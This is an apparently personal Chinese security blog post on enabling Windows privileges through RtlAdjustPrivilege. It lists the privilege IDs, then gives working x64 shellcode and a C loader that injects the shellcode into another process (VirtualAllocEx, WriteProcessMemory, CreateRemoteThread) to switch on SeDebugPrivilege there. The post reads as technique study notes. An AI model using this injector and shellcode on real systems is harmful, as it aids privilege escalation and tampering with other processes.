WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

RtlAdjustPrivilege开启特权

在修改访问令牌的文章中写到过用AdjustPrivilege开启特权

最近在看某项目的时候看到了这个函数,只需要这个函数就可以开启特权,学习下

0x01 RtlAdjustPrivilege

下面是这个函数的结构

1
2
3
4
5
6
7
NTSTATUS RtlAdjustPrivilege
(
ULONG Privilege, //权限ID
BOOLEAN Enable, //True是打开,False是关闭
BOOLEAN CurrentThread, //True是提升当前线程权限,False是提升整个进程权限
PBOOLEAN Enabled //指针,内容是特权未修改的状态
);

这个函数在ntdll.dll这个动态链接库,直接通过GetProcAddress得到函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <Windows.h>
typedef NTSTATUS(WINAPI* typedef_RtlAdjustPrivilege)
(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
);

#define SE_DEBUG_PRIVILEGE 20

int main() {
typedef_RtlAdjustPrivilege RtlAdjustPrivilege = (typedef_RtlAdjustPrivilege)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
BOOLEAN num;
int res = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &num);
}

这样就可以直接开启DEBUG权限,会方便很多

权限ID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
SeCreateTokenPrivilege            0x2
SeAssignPrimaryTokenPrivilege 0x3
SeLockMemoryPrivilege 0x4
SeIncreaseQuotaPrivilege 0x5
SeUnsolicitedInputPrivilege 0x0
SeMachineAccountPrivilege 0x6
SeTcbPrivilege 0x7
SeSecurityPrivilege 0x8
SeTakeOwnershipPrivilege 0x9
SeLoadDriverPrivilege 0xa
SeSystemProfilePrivilege 0xb
SeSystemtimePrivilege 0xc
SeProfileSingleProcessPrivilege 0xd
SeIncreaseBasePriorityPrivilege 0xe
SeCreatePagefilePrivilege 0xf
SeCreatePermanentPrivilege 0x10
SeBackupPrivilege 0x11
SeRestorePrivilege 0x12
SeShutdownPrivilege 0x13
SeDebugPrivilege 0x14
SeAuditPrivilege 0x15
SeSystemEnvironmentPrivilege 0x16
SeChangeNotifyPrivilege 0x17
SeRemoteShutdownPrivilege 0x18
SeUndockPrivilege 0x19
SeSyncAgentPrivilege 0x1a
SeEnableDelegationPrivilege 0x1b
SeManageVolumePrivilege 0x1c
SeImpersonatePrivilege 0x1d
SeCreateGlobalPrivilege 0x1e
SeTrustedCredManAccessPrivilege 0x1f
SeRelabelPrivilege 0x20
SeIncreaseWorkingSetPrivilege 0x21
SeTimeZonePrivilege 0x22
SeCreateSymbolicLinkPrivilege 0x23

0x02 远程开启token

某个进程有提权的toekn,可是没开启,可以通过远程注入shellcode开启特权

RtlAdjustPrivilege调用简单,shellcode也可以很简洁

还是先写一下汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
.DATA
.CODE;
func PROC;
mov rdx,gs:[60h]
mov rbx, [rdx+18h]
mov rsi, [rbx+28h]
mov rsi,[rsi]
mov rsi,[rsi]
mov rsi,[rsi]
mov rbx, [rsi+20h]
mov edx, [rbx+3Ch]
add rdx, rbx
mov edx, [rdx+88h]
add rdx, rbx
mov esi, [rdx+20h]
add rsi, rbx
xor rcx,rcx
Get_Function:
inc rcx
lodsd
add rax,rbx
cmp dword ptr [rax], 416c7452h
jnz Get_Function
cmp dword ptr [rax+4], 73756a64h
jnz Get_Function
cmp dword ptr [rax+8], 69725074h
jnz Get_Function
mov esi, [rdx+24h]
add rsi, rbx
mov cx, [rsi + rcx * 2]
dec rcx
mov esi, [rdx+1ch]
add rsi, rbx
mov edx, [rsi + rcx * 4]
add rdx, rbx
mov rbx, rdx
lea r9, [rsp + 8]
mov r8, 0
mov rdx, 1
mov rcx, 20
mov rbp , [rsp]
call rbx
jmp rbp
func ENDP;
END

这里最后有个小坑点,call rbx后面应该会ret了,但是这个函数执行会覆盖掉函数的返回地址,ret就不知道到什么地方去了,进程就炸了

所以先把返回地址保存到rbp,最后直接jmp rbp就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<Windows.h>
#include<stdio.h>
char shellcode[] = "\x65\x48\x8B\x14\x25\x60\x00\x00\x00\x48\x8B\x5A\x18\x48\x8B\x73\x28\x48\x8B\x36\x48\x8B\x36\x48\x8B\x36\x48\x8B\x5E\x20\x8B\x53\x3C\x48\x03\xD3\x8B\x92\x88\x00\x00\x00\x48\x03\xD3\x8B\x72\x20\x48\x03\xF3\x48\x33\xC9\x48\xFF\xC1\xAD\x48\x03\xC3\x81\x38\x52\x74\x6C\x41\x75\xF1\x81\x78\x04\x64\x6A\x75\x73\x75\xE8\x81\x78\x08\x74\x50\x72\x69\x75\xDF\x8B\x72\x24\x48\x03\xF3\x66\x8B\x0C\x4E\x48\xFF\xC9\x8B\x72\x1C\x48\x03\xF3\x8B\x14\x8E\x48\x03\xD3\x48\x8B\xDA\x4C\x8D\x4C\x24\x08\x49\xC7\xC0\x00\x00\x00\x00\x48\xC7\xC2\x01\x00\x00\x00\x48\xC7\xC1\x14\x00\x00\x00\x48\x8B\x2C\x24\xFF\xD3\xFF\xE5";


int main(int argc, char* argv[]) {
int pid = atoi(argv[1]);
HANDLE up = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID base_address = VirtualAllocEx(up, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(up, base_address, shellcode, sizeof(shellcode), NULL);
printf("%p", base_address);
CreateRemoteThread(up, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0);
return 0;
}

现在是没开启DEBUG特权的,注入后打开

现在就打开了